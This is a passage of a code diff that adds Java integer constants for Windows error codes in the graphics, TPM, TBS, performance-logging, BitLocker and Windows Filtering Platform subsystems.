+  public static final int ERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS = -1071242416;
+  public static final int ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED = 2499409;
+  public static final int ERROR_GRAPHICS_INVALID_SCANLINE_ORDERING = -1071242414;
+  public static final int ERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED = -1071242413;
+  public static final int ERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS = -1071242412;
+  public static final int ERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT = -1071242411;
+  public static final int ERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM = -1071242410;
+  public static final int ERROR_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN = -1071242409;
+  public static final int ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT = -1071242408;
+  public static final int ERROR_GRAPHICS_MAX_NUM_PATHS_REACHED = -1071242407;
+  public static final int ERROR_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION = -1071242406;
+  public static final int ERROR_GRAPHICS_INVALID_CLIENT_TYPE = -1071242405;
+  public static final int ERROR_GRAPHICS_CLIENTVIDPN_NOT_SET = -1071242404;
+  public static final int ERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED = -1071242240;
+  public static final int ERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED = -1071242239;
+  public static final int ERROR_GRAPHICS_UNKNOWN_CHILD_STATUS = 1076241455;
+  public static final int ERROR_GRAPHICS_NOT_A_LINKED_ADAPTER = -1071242192;
+  public static final int ERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED = -1071242191;
+  public static final int ERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED = -1071242190;
+  public static final int ERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY = -1071242189;
+  public static final int ERROR_GRAPHICS_CHAINLINKS_NOT_STARTED = -1071242188;
+  public static final int ERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON = -1071242187;
+  public static final int ERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE = -1071242186;
+  public static final int ERROR_GRAPHICS_LEADLINK_START_DEFERRED = 1076241463;
+  public static final int ERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER = -1071242184;
+  public static final int ERROR_GRAPHICS_POLLING_TOO_FREQUENTLY = 1076241465;
+  public static final int ERROR_GRAPHICS_START_DEFERRED = 1076241466;
+  public static final int ERROR_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED = -1071242181;
+  public static final int ERROR_GRAPHICS_OPM_NOT_SUPPORTED = -1071241984;
+  public static final int ERROR_GRAPHICS_COPP_NOT_SUPPORTED = -1071241983;
+  public static final int ERROR_GRAPHICS_UAB_NOT_SUPPORTED = -1071241982;
+  public static final int ERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS = -1071241981;
+  public static final int ERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST = -1071241979;
+  public static final int ERROR_GRAPHICS_OPM_INTERNAL_ERROR = -1071241973;
+  public static final int ERROR_GRAPHICS_OPM_INVALID_HANDLE = -1071241972;
+  public static final int ERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH = -1071241970;
+  public static final int ERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED = -1071241969;
+  public static final int ERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED = -1071241968;
+  public static final int ERROR_GRAPHICS_PVP_HFS_FAILED = -1071241967;
+  public static final int ERROR_GRAPHICS_OPM_INVALID_SRM = -1071241966;
+  public static final int ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP = -1071241965;
+  public static final int ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP = -1071241964;
+  public static final int ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA = -1071241963;
+  public static final int ERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET = -1071241962;
+  public static final int ERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH = -1071241961;
+  public static final int ERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE = -1071241960;
+  public static final int ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS = -1071241958;
+  public static final int ERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS = -1071241957;
+  public static final int ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS = -1071241956;
+  public static final int ERROR_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST = -1071241955;
+  public static final int ERROR_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR = -1071241954;
+  public static final int ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS = -1071241953;
+  public static final int ERROR_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED = -1071241952;
+  public static final int ERROR_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST = -1071241951;
+  public static final int ERROR_GRAPHICS_I2C_NOT_SUPPORTED = -1071241856;
+  public static final int ERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST = -1071241855;
+  public static final int ERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA = -1071241854;
+  public static final int ERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA = -1071241853;
+  public static final int ERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED = -1071241852;
+  public static final int ERROR_GRAPHICS_DDCCI_INVALID_DATA = -1071241851;
+  public static final int ERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE = -1071241850;
+  public static final int ERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING = -1071241849;
+  public static final int ERROR_GRAPHICS_MCA_INTERNAL_ERROR = -1071241848;
+  public static final int ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND = -1071241847;
+  public static final int ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH = -1071241846;
+  public static final int ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM = -1071241845;
+  public static final int ERROR_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE = -1071241844;
+  public static final int ERROR_GRAPHICS_MONITOR_NO_LONGER_EXISTS = -1071241843;
+  public static final int ERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE = -1071241768;
+  public static final int ERROR_GRAPHICS_MCA_INVALID_VCP_VERSION = -1071241767;
+  public static final int ERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION = -1071241766;
+  public static final int ERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH = -1071241765;
+  public static final int ERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION = -1071241764;
+  public static final int ERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED = -1071241762;
+  public static final int ERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE = -1071241761;
+  public static final int ERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED = -1071241760;
+  public static final int ERROR_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME = -1071241759;
+  public static final int ERROR_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP = -1071241758;
+  public static final int ERROR_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED = -1071241757;
+  public static final int ERROR_GRAPHICS_INVALID_POINTER = -1071241756;
+  public static final int ERROR_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE = -1071241755;
+  public static final int ERROR_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL = -1071241754;
+  public static final int ERROR_GRAPHICS_INTERNAL_ERROR = -1071241753;
+  public static final int ERROR_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS = -1071249944;
+  public static final int TPM_E_ERROR_MASK = -2144862208;
+  public static final int TPM_E_AUTHFAIL = -2144862207;
+  public static final int TPM_E_BADINDEX = -2144862206;
+  public static final int TPM_E_BAD_PARAMETER = -2144862205;
+  public static final int TPM_E_AUDITFAILURE = -2144862204;
+  public static final int TPM_E_CLEAR_DISABLED = -2144862203;
+  public static final int TPM_E_DEACTIVATED = -2144862202;
+  public static final int TPM_E_DISABLED = -2144862201;
+  public static final int TPM_E_DISABLED_CMD = -2144862200;
+  public static final int TPM_E_FAIL = -2144862199;
+  public static final int TPM_E_BAD_ORDINAL = -2144862198;
+  public static final int TPM_E_INSTALL_DISABLED = -2144862197;
+  public static final int TPM_E_INVALID_KEYHANDLE = -2144862196;
+  public static final int TPM_E_KEYNOTFOUND = -2144862195;
+  public static final int TPM_E_INAPPROPRIATE_ENC = -2144862194;
+  public static final int TPM_E_MIGRATEFAIL = -2144862193;
+  public static final int TPM_E_INVALID_PCR_INFO = -2144862192;
+  public static final int TPM_E_NOSPACE = -2144862191;
+  public static final int TPM_E_NOSRK = -2144862190;
+  public static final int TPM_E_NOTSEALED_BLOB = -2144862189;
+  public static final int TPM_E_OWNER_SET = -2144862188;
+  public static final int TPM_E_RESOURCES = -2144862187;
+  public static final int TPM_E_SHORTRANDOM = -2144862186;
+  public static final int TPM_E_SIZE = -2144862185;
+  public static final int TPM_E_WRONGPCRVAL = -2144862184;
+  public static final int TPM_E_BAD_PARAM_SIZE = -2144862183;
+  public static final int TPM_E_SHA_THREAD = -2144862182;
+  public static final int TPM_E_SHA_ERROR = -2144862181;
+  public static final int TPM_E_FAILEDSELFTEST = -2144862180;
+  public static final int TPM_E_AUTH2FAIL = -2144862179;
+  public static final int TPM_E_BADTAG = -2144862178;
+  public static final int TPM_E_IOERROR = -2144862177;
+  public static final int TPM_E_ENCRYPT_ERROR = -2144862176;
+  public static final int TPM_E_DECRYPT_ERROR = -2144862175;
+  public static final int TPM_E_INVALID_AUTHHANDLE = -2144862174;
+  public static final int TPM_E_NO_ENDORSEMENT = -2144862173;
+  public static final int TPM_E_INVALID_KEYUSAGE = -2144862172;
+  public static final int TPM_E_WRONG_ENTITYTYPE = -2144862171;
+  public static final int TPM_E_INVALID_POSTINIT = -2144862170;
+  public static final int TPM_E_INAPPROPRIATE_SIG = -2144862169;
+  public static final int TPM_E_BAD_KEY_PROPERTY = -2144862168;
+  public static final int TPM_E_BAD_MIGRATION = -2144862167;
+  public static final int TPM_E_BAD_SCHEME = -2144862166;
+  public static final int TPM_E_BAD_DATASIZE = -2144862165;
+  public static final int TPM_E_BAD_MODE = -2144862164;
+  public static final int TPM_E_BAD_PRESENCE = -2144862163;
+  public static final int TPM_E_BAD_VERSION = -2144862162;
+  public static final int TPM_E_NO_WRAP_TRANSPORT = -2144862161;
+  public static final int TPM_E_AUDITFAIL_UNSUCCESSFUL = -2144862160;
+  public static final int TPM_E_AUDITFAIL_SUCCESSFUL = -2144862159;
+  public static final int TPM_E_NOTRESETABLE = -2144862158;
+  public static final int TPM_E_NOTLOCAL = -2144862157;
+  public static final int TPM_E_BAD_TYPE = -2144862156;
+  public static final int TPM_E_INVALID_RESOURCE = -2144862155;
+  public static final int TPM_E_NOTFIPS = -2144862154;
+  public static final int TPM_E_INVALID_FAMILY = -2144862153;
+  public static final int TPM_E_NO_NV_PERMISSION = -2144862152;
+  public static final int TPM_E_REQUIRES_SIGN = -2144862151;
+  public static final int TPM_E_KEY_NOTSUPPORTED = -2144862150;
+  public static final int TPM_E_AUTH_CONFLICT = -2144862149;
+  public static final int TPM_E_AREA_LOCKED = -2144862148;
+  public static final int TPM_E_BAD_LOCALITY = -2144862147;
+  public static final int TPM_E_READ_ONLY = -2144862146;
+  public static final int TPM_E_PER_NOWRITE = -2144862145;
+  public static final int TPM_E_FAMILYCOUNT = -2144862144;
+  public static final int TPM_E_WRITE_LOCKED = -2144862143;
+  public static final int TPM_E_BAD_ATTRIBUTES = -2144862142;
+  public static final int TPM_E_INVALID_STRUCTURE = -2144862141;
+  public static final int TPM_E_KEY_OWNER_CONTROL = -2144862140;
+  public static final int TPM_E_BAD_COUNTER = -2144862139;
+  public static final int TPM_E_NOT_FULLWRITE = -2144862138;
+  public static final int TPM_E_CONTEXT_GAP = -2144862137;
+  public static final int TPM_E_MAXNVWRITES = -2144862136;
+  public static final int TPM_E_NOOPERATOR = -2144862135;
+  public static final int TPM_E_RESOURCEMISSING = -2144862134;
+  public static final int TPM_E_DELEGATE_LOCK = -2144862133;
+  public static final int TPM_E_DELEGATE_FAMILY = -2144862132;
+  public static final int TPM_E_DELEGATE_ADMIN = -2144862131;
+  public static final int TPM_E_TRANSPORT_NOTEXCLUSIVE = -2144862130;
+  public static final int TPM_E_OWNER_CONTROL = -2144862129;
+  public static final int TPM_E_DAA_RESOURCES = -2144862128;
+  public static final int TPM_E_DAA_INPUT_DATA0 = -2144862127;
+  public static final int TPM_E_DAA_INPUT_DATA1 = -2144862126;
+  public static final int TPM_E_DAA_ISSUER_SETTINGS = -2144862125;
+  public static final int TPM_E_DAA_TPM_SETTINGS = -2144862124;
+  public static final int TPM_E_DAA_STAGE = -2144862123;
+  public static final int TPM_E_DAA_ISSUER_VALIDITY = -2144862122;
+  public static final int TPM_E_DAA_WRONG_W = -2144862121;
+  public static final int TPM_E_BAD_HANDLE = -2144862120;
+  public static final int TPM_E_BAD_DELEGATE = -2144862119;
+  public static final int TPM_E_BADCONTEXT = -2144862118;
+  public static final int TPM_E_TOOMANYCONTEXTS = -2144862117;
+  public static final int TPM_E_MA_TICKET_SIGNATURE = -2144862116;
+  public static final int TPM_E_MA_DESTINATION = -2144862115;
+  public static final int TPM_E_MA_SOURCE = -2144862114;
+  public static final int TPM_E_MA_AUTHORITY = -2144862113;
+  public static final int TPM_E_PERMANENTEK = -2144862111;
+  public static final int TPM_E_BAD_SIGNATURE = -2144862110;
+  public static final int TPM_E_NOCONTEXTSPACE = -2144862109;
+  public static final int TPM_E_COMMAND_BLOCKED = -2144861184;
+  public static final int TPM_E_INVALID_HANDLE = -2144861183;
+  public static final int TPM_E_DUPLICATE_VHANDLE = -2144861182;
+  public static final int TPM_E_EMBEDDED_COMMAND_BLOCKED = -2144861181;
+  public static final int TPM_E_EMBEDDED_COMMAND_UNSUPPORTED = -2144861180;
+  public static final int TPM_E_RETRY = -2144860160;
+  public static final int TPM_E_NEEDS_SELFTEST = -2144860159;
+  public static final int TPM_E_DOING_SELFTEST = -2144860158;
+  public static final int TPM_E_DEFEND_LOCK_RUNNING = -2144860157;
+  public static final int TBS_E_INTERNAL_ERROR = -2144845823;
+  public static final int TBS_E_BAD_PARAMETER = -2144845822;
+  public static final int TBS_E_INVALID_OUTPUT_POINTER = -2144845821;
+  public static final int TBS_E_INVALID_CONTEXT = -2144845820;
+  public static final int TBS_E_INSUFFICIENT_BUFFER = -2144845819;
+  public static final int TBS_E_IOERROR = -2144845818;
+  public static final int TBS_E_INVALID_CONTEXT_PARAM = -2144845817;
+  public static final int TBS_E_SERVICE_NOT_RUNNING = -2144845816;
+  public static final int TBS_E_TOO_MANY_TBS_CONTEXTS = -2144845815;
+  public static final int TBS_E_TOO_MANY_RESOURCES = -2144845814;
+  public static final int TBS_E_SERVICE_START_PENDING = -2144845813;
+  public static final int TBS_E_PPI_NOT_SUPPORTED = -2144845812;
+  public static final int TBS_E_COMMAND_CANCELED = -2144845811;
+  public static final int TBS_E_BUFFER_TOO_LARGE = -2144845810;
+  public static final int TBS_E_TPM_NOT_FOUND = -2144845809;
+  public static final int TBS_E_SERVICE_DISABLED = -2144845808;
+  public static final int TPMAPI_E_INVALID_STATE = -2144796416;
+  public static final int TPMAPI_E_NOT_ENOUGH_DATA = -2144796415;
+  public static final int TPMAPI_E_TOO_MUCH_DATA = -2144796414;
+  public static final int TPMAPI_E_INVALID_OUTPUT_POINTER = -2144796413;
+  public static final int TPMAPI_E_INVALID_PARAMETER = -2144796412;
+  public static final int TPMAPI_E_OUT_OF_MEMORY = -2144796411;
+  public static final int TPMAPI_E_BUFFER_TOO_SMALL = -2144796410;
+  public static final int TPMAPI_E_INTERNAL_ERROR = -2144796409;
+  public static final int TPMAPI_E_ACCESS_DENIED = -2144796408;
+  public static final int TPMAPI_E_AUTHORIZATION_FAILED = -2144796407;
+  public static final int TPMAPI_E_INVALID_CONTEXT_HANDLE = -2144796406;
+  public static final int TPMAPI_E_TBS_COMMUNICATION_ERROR = -2144796405;
+  public static final int TPMAPI_E_TPM_COMMAND_ERROR = -2144796404;
+  public static final int TPMAPI_E_MESSAGE_TOO_LARGE = -2144796403;
+  public static final int TPMAPI_E_INVALID_ENCODING = -2144796402;
+  public static final int TPMAPI_E_INVALID_KEY_SIZE = -2144796401;
+  public static final int TPMAPI_E_ENCRYPTION_FAILED = -2144796400;
+  public static final int TPMAPI_E_INVALID_KEY_PARAMS = -2144796399;
+  public static final int TPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB = -2144796398;
+  public static final int TPMAPI_E_INVALID_PCR_INDEX = -2144796397;
+  public static final int TPMAPI_E_INVALID_DELEGATE_BLOB = -2144796396;
+  public static final int TPMAPI_E_INVALID_CONTEXT_PARAMS = -2144796395;
+  public static final int TPMAPI_E_INVALID_KEY_BLOB = -2144796394;
+  public static final int TPMAPI_E_INVALID_PCR_DATA = -2144796393;
+  public static final int TPMAPI_E_INVALID_OWNER_AUTH = -2144796392;
+  public static final int TPMAPI_E_FIPS_RNG_CHECK_FAILED = -2144796391;
+  public static final int TBSIMP_E_BUFFER_TOO_SMALL = -2144796160;
+  public static final int TBSIMP_E_CLEANUP_FAILED = -2144796159;
+  public static final int TBSIMP_E_INVALID_CONTEXT_HANDLE = -2144796158;
+  public static final int TBSIMP_E_INVALID_CONTEXT_PARAM = -2144796157;
+  public static final int TBSIMP_E_TPM_ERROR = -2144796156;
+  public static final int TBSIMP_E_HASH_BAD_KEY = -2144796155;
+  public static final int TBSIMP_E_DUPLICATE_VHANDLE = -2144796154;
+  public static final int TBSIMP_E_INVALID_OUTPUT_POINTER = -2144796153;
+  public static final int TBSIMP_E_INVALID_PARAMETER = -2144796152;
+  public static final int TBSIMP_E_RPC_INIT_FAILED = -2144796151;
+  public static final int TBSIMP_E_SCHEDULER_NOT_RUNNING = -2144796150;
+  public static final int TBSIMP_E_COMMAND_CANCELED = -2144796149;
+  public static final int TBSIMP_E_OUT_OF_MEMORY = -2144796148;
+  public static final int TBSIMP_E_LIST_NO_MORE_ITEMS = -2144796147;
+  public static final int TBSIMP_E_LIST_NOT_FOUND = -2144796146;
+  public static final int TBSIMP_E_NOT_ENOUGH_SPACE = -2144796145;
+  public static final int TBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS = -2144796144;
+  public static final int TBSIMP_E_COMMAND_FAILED = -2144796143;
+  public static final int TBSIMP_E_UNKNOWN_ORDINAL = -2144796142;
+  public static final int TBSIMP_E_RESOURCE_EXPIRED = -2144796141;
+  public static final int TBSIMP_E_INVALID_RESOURCE = -2144796140;
+  public static final int TBSIMP_E_NOTHING_TO_UNLOAD = -2144796139;
+  public static final int TBSIMP_E_HASH_TABLE_FULL = -2144796138;
+  public static final int TBSIMP_E_TOO_MANY_TBS_CONTEXTS = -2144796137;
+  public static final int TBSIMP_E_TOO_MANY_RESOURCES = -2144796136;
+  public static final int TBSIMP_E_PPI_NOT_SUPPORTED = -2144796135;
+  public static final int TBSIMP_E_TPM_INCOMPATIBLE = -2144796134;
+  public static final int TPM_E_PPI_ACPI_FAILURE = -2144795904;
+  public static final int TPM_E_PPI_USER_ABORT = -2144795903;
+  public static final int TPM_E_PPI_BIOS_FAILURE = -2144795902;
+  public static final int TPM_E_PPI_NOT_SUPPORTED = -2144795901;
+  public static final int PLA_E_DCS_NOT_FOUND = -2144337918;
+  public static final int PLA_E_DCS_IN_USE = -2144337750;
+  public static final int PLA_E_TOO_MANY_FOLDERS = -2144337851;
+  public static final int PLA_E_NO_MIN_DISK = -2144337808;
+  public static final int PLA_E_DCS_ALREADY_EXISTS = -2144337737;
+  public static final int PLA_S_PROPERTY_IGNORED = 3145984;
+  public static final int PLA_E_PROPERTY_CONFLICT = -2144337663;
+  public static final int PLA_E_DCS_SINGLETON_REQUIRED = -2144337662;
+  public static final int PLA_E_CREDENTIALS_REQUIRED = -2144337661;
+  public static final int PLA_E_DCS_NOT_RUNNING = -2144337660;
+  public static final int PLA_E_CONFLICT_INCL_EXCL_API = -2144337659;
+  public static final int PLA_E_NETWORK_EXE_NOT_VALID = -2144337658;
+  public static final int PLA_E_EXE_ALREADY_CONFIGURED = -2144337657;
+  public static final int PLA_E_EXE_PATH_NOT_VALID = -2144337656;
+  public static final int PLA_E_DC_ALREADY_EXISTS = -2144337655;
+  public static final int PLA_E_DCS_START_WAIT_TIMEOUT = -2144337654;
+  public static final int PLA_E_DC_START_WAIT_TIMEOUT = -2144337653;
+  public static final int PLA_E_REPORT_WAIT_TIMEOUT = -2144337652;
+  public static final int PLA_E_NO_DUPLICATES = -2144337651;
+  public static final int PLA_E_EXE_FULL_PATH_REQUIRED = -2144337650;
+  public static final int PLA_E_INVALID_SESSION_NAME = -2144337649;
+  public static final int PLA_E_PLA_CHANNEL_NOT_ENABLED = -2144337648;
+  public static final int PLA_E_TASKSCHED_CHANNEL_NOT_ENABLED = -2144337647;
+  public static final int PLA_E_RULES_MANAGER_FAILED = -2144337646;
+  public static final int PLA_E_CABAPI_FAILURE = -2144337645;
+  public static final int FVE_E_LOCKED_VOLUME = -2144272384;
+  public static final int FVE_E_NOT_ENCRYPTED = -2144272383;
+  public static final int FVE_E_NO_TPM_BIOS = -2144272382;
+  public static final int FVE_E_NO_MBR_METRIC = -2144272381;
+  public static final int FVE_E_NO_BOOTSECTOR_METRIC = -2144272380;
+  public static final int FVE_E_NO_BOOTMGR_METRIC = -2144272379;
+  public static final int FVE_E_WRONG_BOOTMGR = -2144272378;
+  public static final int FVE_E_SECURE_KEY_REQUIRED = -2144272377;
+  public static final int FVE_E_NOT_ACTIVATED = -2144272376;
+  public static final int FVE_E_ACTION_NOT_ALLOWED = -2144272375;
+  public static final int FVE_E_AD_SCHEMA_NOT_INSTALLED = -2144272374;
+  public static final int FVE_E_AD_INVALID_DATATYPE = -2144272373;
+  public static final int FVE_E_AD_INVALID_DATASIZE = -2144272372;
+  public static final int FVE_E_AD_NO_VALUES = -2144272371;
+  public static final int FVE_E_AD_ATTR_NOT_SET = -2144272370;
+  public static final int FVE_E_AD_GUID_NOT_FOUND = -2144272369;
+  public static final int FVE_E_BAD_INFORMATION = -2144272368;
+  public static final int FVE_E_TOO_SMALL = -2144272367;
+  public static final int FVE_E_SYSTEM_VOLUME = -2144272366;
+  public static final int FVE_E_FAILED_WRONG_FS = -2144272365;
+  public static final int FVE_E_FAILED_BAD_FS = -2144272364;
+  public static final int FVE_E_NOT_SUPPORTED = -2144272363;
+  public static final int FVE_E_BAD_DATA = -2144272362;
+  public static final int FVE_E_VOLUME_NOT_BOUND = -2144272361;
+  public static final int FVE_E_TPM_NOT_OWNED = -2144272360;
+  public static final int FVE_E_NOT_DATA_VOLUME = -2144272359;
+  public static final int FVE_E_AD_INSUFFICIENT_BUFFER = -2144272358;
+  public static final int FVE_E_CONV_READ = -2144272357;
+  public static final int FVE_E_CONV_WRITE = -2144272356;
+  public static final int FVE_E_KEY_REQUIRED = -2144272355;
+  public static final int FVE_E_CLUSTERING_NOT_SUPPORTED = -2144272354;
+  public static final int FVE_E_VOLUME_BOUND_ALREADY = -2144272353;
+  public static final int FVE_E_OS_NOT_PROTECTED = -2144272352;
+  public static final int FVE_E_PROTECTION_DISABLED = -2144272351;
+  public static final int FVE_E_RECOVERY_KEY_REQUIRED = -2144272350;
+  public static final int FVE_E_FOREIGN_VOLUME = -2144272349;
+  public static final int FVE_E_OVERLAPPED_UPDATE = -2144272348;
+  public static final int FVE_E_TPM_SRK_AUTH_NOT_ZERO = -2144272347;
+  public static final int FVE_E_FAILED_SECTOR_SIZE = -2144272346;
+  public static final int FVE_E_FAILED_AUTHENTICATION = -2144272345;
+  public static final int FVE_E_NOT_OS_VOLUME = -2144272344;
+  public static final int FVE_E_AUTOUNLOCK_ENABLED = -2144272343;
+  public static final int FVE_E_WRONG_BOOTSECTOR = -2144272342;
+  public static final int FVE_E_WRONG_SYSTEM_FS = -2144272341;
+  public static final int FVE_E_POLICY_PASSWORD_REQUIRED = -2144272340;
+  public static final int FVE_E_CANNOT_SET_FVEK_ENCRYPTED = -2144272339;
+  public static final int FVE_E_CANNOT_ENCRYPT_NO_KEY = -2144272338;
+  public static final int FVE_E_BOOTABLE_CDDVD = -2144272336;
+  public static final int FVE_E_PROTECTOR_EXISTS = -2144272335;
+  public static final int FVE_E_RELATIVE_PATH = -2144272334;
+  public static final int FVE_E_PROTECTOR_NOT_FOUND = -2144272333;
+  public static final int FVE_E_INVALID_KEY_FORMAT = -2144272332;
+  public static final int FVE_E_INVALID_PASSWORD_FORMAT = -2144272331;
+  public static final int FVE_E_FIPS_RNG_CHECK_FAILED = -2144272330;
+  public static final int FVE_E_FIPS_PREVENTS_RECOVERY_PASSWORD = -2144272329;
+  public static final int FVE_E_FIPS_PREVENTS_EXTERNAL_KEY_EXPORT = -2144272328;
+  public static final int FVE_E_NOT_DECRYPTED = -2144272327;
+  public static final int FVE_E_INVALID_PROTECTOR_TYPE = -2144272326;
+  public static final int FVE_E_NO_PROTECTORS_TO_TEST = -2144272325;
+  public static final int FVE_E_KEYFILE_NOT_FOUND = -2144272324;
+  public static final int FVE_E_KEYFILE_INVALID = -2144272323;
+  public static final int FVE_E_KEYFILE_NO_VMK = -2144272322;
+  public static final int FVE_E_TPM_DISABLED = -2144272321;
+  public static final int FVE_E_NOT_ALLOWED_IN_SAFE_MODE = -2144272320;
+  public static final int FVE_E_TPM_INVALID_PCR = -2144272319;
+  public static final int FVE_E_TPM_NO_VMK = -2144272318;
+  public static final int FVE_E_PIN_INVALID = -2144272317;
+  public static final int FVE_E_AUTH_INVALID_APPLICATION = -2144272316;
+  public static final int FVE_E_AUTH_INVALID_CONFIG = -2144272315;
+  public static final int FVE_E_FIPS_DISABLE_PROTECTION_NOT_ALLOWED = -2144272314;
+  public static final int FVE_E_FS_NOT_EXTENDED = -2144272313;
+  public static final int FVE_E_FIRMWARE_TYPE_NOT_SUPPORTED = -2144272312;
+  public static final int FVE_E_NO_LICENSE = -2144272311;
+  public static final int FVE_E_NOT_ON_STACK = -2144272310;
+  public static final int FVE_E_FS_MOUNTED = -2144272309;
+  public static final int FVE_E_TOKEN_NOT_IMPERSONATED = -2144272308;
+  public static final int FVE_E_DRY_RUN_FAILED = -2144272307;
+  public static final int FVE_E_REBOOT_REQUIRED = -2144272306;
+  public static final int FVE_E_DEBUGGER_ENABLED = -2144272305;
+  public static final int FVE_E_RAW_ACCESS = -2144272304;
+  public static final int FVE_E_RAW_BLOCKED = -2144272303;
+  public static final int FVE_E_BCD_APPLICATIONS_PATH_INCORRECT = -2144272302;
+  public static final int FVE_E_NOT_ALLOWED_IN_VERSION = -2144272301;
+  public static final int FWP_E_CALLOUT_NOT_FOUND = -2144206847;
+  public static final int FWP_E_CONDITION_NOT_FOUND = -2144206846;
+  public static final int FWP_E_FILTER_NOT_FOUND = -2144206845;
+  public static final int FWP_E_LAYER_NOT_FOUND = -2144206844;
+  public static final int FWP_E_PROVIDER_NOT_FOUND = -2144206843;
+  public static final int FWP_E_PROVIDER_CONTEXT_NOT_FOUND = -2144206842;
+  public static final int FWP_E_SUBLAYER_NOT_FOUND = -2144206841;
+  public static final int FWP_E_NOT_FOUND = -2144206840;
+  public static final int FWP_E_ALREADY_EXISTS = -2144206839;
+  public static final int FWP_E_IN_USE = -2144206838;
+  public static final int FWP_E_DYNAMIC_SESSION_IN_PROGRESS = -2144206837;
+  public static final int FWP_E_WRONG_SESSION = -2144206836;
+  public static final int FWP_E_NO_TXN_IN_PROGRESS = -2144206835;
+  public static final int FWP_E_TXN_IN_PROGRESS = -2144206834;
+  public static final int FWP_E_TXN_ABORTED = -2144206833;
+  public static final int FWP_E_SESSION_ABORTED = -2144206832;
+  public static final int FWP_E_INCOMPATIBLE_TXN = -2144206831;
+  public static final int FWP_E_TIMEOUT = -2144206830;
+  public static final int FWP_E_NET_EVENTS_DISABLED = -2144206829;
+  public static final int FWP_E_INCOMPATIBLE_LAYER = -2144206828;
+  public static final int FWP_E_KM_CLIENTS_ONLY = -2144206827;
+  public static final int FWP_E_LIFETIME_MISMATCH = -2144206826;
+  public static final int FWP_E_BUILTIN_OBJECT = -2144206825;
+  public static final int FWP_E_TOO_MANY_CALLOUTS = -2144206824;
+  public static final int FWP_E_NOTIFICATION_DROPPED = -2144206823;
+  public static final int FWP_E_TRAFFIC_MISMATCH = -2144206822;
+  public static final int FWP_E_INCOMPATIBLE_SA_STATE = -2144206821;
+  public static final int FWP_E_NULL_POINTER = -2144206820;
+  public static final int FWP_E_INVALID_ENUMERATOR = -2144206819;
+  public static final int FWP_E_INVALID_FLAGS = -2144206818;
+  public static final int FWP_E_INVALID_NET_MASK = -2144206817;
+  public static final int FWP_E_INVALID_RANGE = -2144206816;
+  public static final int FWP_E_INVALID_INTERVAL = -2144206815;
+  public static final int FWP_E_ZERO_LENGTH_ARRAY = -2144206814;
+  public static final int FWP_E_NULL_DISPLAY_NAME = -2144206813;
+  public static final int FWP_E_INVALID_ACTION_TYPE = -2144206812;
